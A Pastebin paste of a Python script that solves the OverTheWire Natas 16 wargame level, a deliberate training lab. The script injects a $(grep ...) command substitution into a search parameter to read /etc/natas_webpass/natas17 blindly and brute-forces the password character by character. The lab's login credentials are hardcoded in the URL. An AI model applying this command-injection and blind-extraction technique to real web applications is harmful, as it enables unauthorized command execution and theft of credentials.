Advertisement
Guest User

Untitled

a guest
Mar 24th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4.  
  5. chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  6. exist = ''
  7. password = ''
  8. target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
  9. trueStr = 'Output:\n<pre>\n</pre>'
  10.  
  11. for x in chars:
  12. r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Fridays')
  13. if r.content.find(trueStr) != -1:
  14. exist += x
  15. print 'Using: ' + exist
  16.  
  17. print 'All characters used. Starting brute force... Grab a coffee, might take a while!'
  18.  
  19. for i in range(32):
  20. for c in exist:
  21. r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Fridays')
  22. if r.content.find(trueStr) != -1:
  23. password += c
  24. print 'Password: ' + password + '*' * int(32 - len(password))
  25. break
  26.  
  27. print 'Completed!'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement